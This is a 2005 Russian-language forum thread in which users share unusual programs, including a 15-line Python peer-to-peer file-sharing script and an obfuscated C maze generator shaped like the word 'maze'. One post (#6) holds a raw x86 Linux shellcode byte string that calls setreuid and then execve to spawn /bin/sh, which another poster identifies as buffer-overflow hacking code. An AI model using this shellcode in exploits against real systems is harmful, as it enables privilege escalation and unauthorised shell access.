Armenian Knowledge Base  

Go Back   Armenian Knowledge Base > Technical sections > Languages, Compilers, Interpreters > Algorithms
Register

Reply
 
LinkBack Thread Tools
Old 22.11.2005, 09:37   #1
(vagabond)
 
Gypsy's Avatar
 
Join Date: 12 2004
Location: Himalayas
Posts: 823
Downloads: 0
Uploads: 0
Reputation: 0 | 0
Default Шедевры :)

У меня идея. Делимся самыми удивительными, интересными, необычными, на первый взгляд невозможными или очень сложными программами, которые сами написали или нашли в инете или неважно где.

Вот я начну.
Программа которая печатает свой собственный MD5. не обращаясь к файлам или другим средствам ОС. (подумайте как такое вообще возможно перед тем как открыть почитать).

Если в букмарках пороюсь, еще много таких программ откопаю. А пока, жду ответных постов

Last edited by Gypsy; 22.11.2005 at 18:30.
Reply With Quote
Old 22.11.2005, 09:56   #2
Грустно...
 
Agregat's Avatar
 
Join Date: 08 2002
Location: Там, где всегда идут дожди
Age: 35
Posts: 21,717
Downloads: 2
Uploads: 0
Reputation: 250 | 7
Default

Ну точно также, как печатать свой код
Reply With Quote
Old 22.11.2005, 10:07   #3
...overwined...
 
noone's Avatar
 
Join Date: 03 2003
Location: ...tortuga...
Posts: 3,429
Downloads: 3
Uploads: 0
Reputation: 158 | 3
Default

ужасно... яб красивее сделал...
Reply With Quote
Old 22.11.2005, 18:00   #4
(vagabond)
 
Gypsy's Avatar
 
Join Date: 12 2004
Location: Himalayas
Posts: 823
Downloads: 0
Uploads: 0
Reputation: 0 | 0
Default

Quote:
Originally Posted by noone
ужасно... яб красивее сделал...
оффтоп: ты мальчик? я думал девочка (судя по аватару и нику)...

ну давай поспорим что красивее не сделал бы

Last edited by Gypsy; 22.11.2005 at 18:38.
Reply With Quote
Old 22.11.2005, 18:27   #5
(vagabond)
 
Gypsy's Avatar
 
Join Date: 12 2004
Location: Himalayas
Posts: 823
Downloads: 0
Uploads: 0
Reputation: 0 | 0
Default

Программа для P2P file sharing занимающая 15 строк кода.
Написана на Python.

Поддерживает основные функции sharing систем, можно запустить как сервер (подключается к сети существующих серверов, дает им доступ ко всем файлам в своем каталоге) и как клиент (ищет и скачивает файл в сети с данной строкой в названии). Чем не осел или мул?

Quote:
# tinyp2p.py 1.0 (documentation at http://freedom-to-tinker.com/tinyp2p.html)
import sys, os, SimpleXMLRPCServer, xmlrpclib, re, hmac # (C) 2004, E.W. Felten
ar,pw,res = (sys.argv,lambda u:hmac.new(sys.argv[1],u).hexdigest(),re.search)
pxy,xs = (xmlrpclib.ServerProxy,SimpleXMLRPCServer.SimpleXMLRPCServer)
def ls(p=""):return filter(lambda n: (p=="")or res(p,n),os.listdir(os.getcwd()))
if ar[2]!="client": # license: http://creativecommons.org/licenses/by-nc-sa/2.0
myU,prs,srv = ("http://"+ar[3]+":"+ar[4], ar[5:],lambda x:x.serve_forever())
def pr(x=[]): return ([(y in prs) or prs.append(y) for y in x] or 1) and prs
def c(n): return ((lambda f: (f.read(), f.close()))(file(n)))[0]
f=lambda p,n,a: (p==pw(myU))and(((n==0)and pr(a))or((n==1)and [ls(a)])or c(a))
def aug(u): return ((u==myU) and pr()) or pr(pxy(u).f(pw(u),0,pr([myU])))
pr() and [aug(s) for s in aug(pr()[0])]
(lambda sv:sv.register_function(f,"f") or srv(sv))(xs((ar[3],int(ar[4]))))
for url in pxy(ar[3]).f(pw(ar[3]),0,[]):
for fn in filter(lambda n:not n in ls(), (pxy(url).f(pw(url),1,ar[4]))[0]):
(lambda fi:fi.write(pxy(url).f(pw(url),2,fn)) or fi.close())(file(fn,"wc"))
http://www.freedom-to-tinker.com/tinyp2p.html
Reply With Quote
Old 23.11.2005, 22:32   #6
Какое небо, *, Багдад!
 
knightmare's Avatar
 
Join Date: 10 2005
Location: Ереван
Posts: 1,682
Downloads: 16
Uploads: 0
Reputation: 99 | 3
Default

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 (c)unknown

Не так красива, как полезна.

Quote:
Originally Posted by Gypsy
Программа которая печатает свой собственный MD5. не обращаясь к файлам или другим средствам ОС. (подумайте как такое вообще возможно перед тем как открыть почитать).
Там же использован всем давно знакомый метод: храним свою копию(без своей копии), потом к ней приписываем определение своей копии... Похожие впечатление оставит практически каждый хоть чуть-чуть грамотно написанный полиморфный код.

Last edited by knightmare; 23.11.2005 at 23:06.
Reply With Quote
Old 24.11.2005, 03:56   #7
(vagabond)
 
Gypsy's Avatar
 
Join Date: 12 2004
Location: Himalayas
Posts: 823
Downloads: 0
Uploads: 0
Reputation: 0 | 0
Default

Quote:
Originally Posted by knightmare
Не так красива, как полезна.
Это код для хакинга с переполнением буферов?

Quote:
Originally Posted by knightmare
Похожие впечатление оставит практически каждый хоть чуть-чуть грамотно написанный полиморфный код.
Что подразумевается под фразой "полиморфный код" в данном контексте, причем тут вообще полиморфизм?

Знаешь, когда дано решение, кто угодно может заявить что оно пустяковое и тривиальное.

Last edited by Gypsy; 24.11.2005 at 05:29.
Reply With Quote
Old 24.11.2005, 04:05   #8
(vagabond)
 
Gypsy's Avatar
 
Join Date: 12 2004
Location: Himalayas
Posts: 823
Downloads: 0
Uploads: 0
Reputation: 0 | 0
Smile

Просто любопытная штука.
У меня под старые компиляторы C компилировалось и работало.

Программа генерирует случайные лабиринты.
Сам код представляет собой лабиринт, и слово "maze"

Code:
char*M,A,Z,E=40,J[40],T[40];main(C){for(*J=A=scanf(M="%d",&C);
--            E;             J[              E]             =T
[E   ]=  E)   printf("._");  for(;(A-=Z=!Z)  ||  (printf("\n|"
)    ,   A    =              39              ,C             --
)    ;   Z    ||    printf   (M   ))M[Z]=Z[A-(E   =A[J-Z])&&!C
&    A   ==             T[                                  A]
|6<<27<rand()||!C&!Z?J[T[E]=T[A]]=E,J[T[A]=A-Z]=A,"_.":" |"];}
Заходим с одного знака --, выходим с другого
У кого-то было слишком много свободного времени.
Reply With Quote
Old 24.11.2005, 09:56   #9
Какое небо, *, Багдад!
 
knightmare's Avatar
 
Join Date: 10 2005
Location: Ереван
Posts: 1,682
Downloads: 16
Uploads: 0
Reputation: 99 | 3
Default

Quote:
Originally Posted by Gypsy
Что подразумевается под фразой "полиморфный код" в данном контексте, причем тут вообще полиморфизм?
В том предложении ключевым словом было "впечатление", а не "полиморфный"
Смысл в том, что сложную задачу(алгоритм) в любом случае приходиться решать(реализовывать) красиво...
А вот красиво решить простую "задачу" получается не у всех...

Quote:
Originally Posted by Gypsy
Знаешь, когда дано решение, кто угодно может заявить что оно пустяковое и тривиальное.
Да ладно... Там действительно есть что-то особенное??
Многие ведь еще в школе писали программы "печатающие свой C-исходник" и пр.

Может тогда прямо здесь будем предлагать маленькие(желательно не алгоритмические)
задачи и "общими усилиями" находить красивые решения?

Last edited by knightmare; 24.11.2005 at 22:30.
Reply With Quote
Sponsored Links
Reply

Thread Tools


На правах рекламы:
реклама

All times are GMT. The time now is 05:10.


Powered by vBulletin® Copyright ©2000 - 2017, Jelsoft Enterprises Ltd.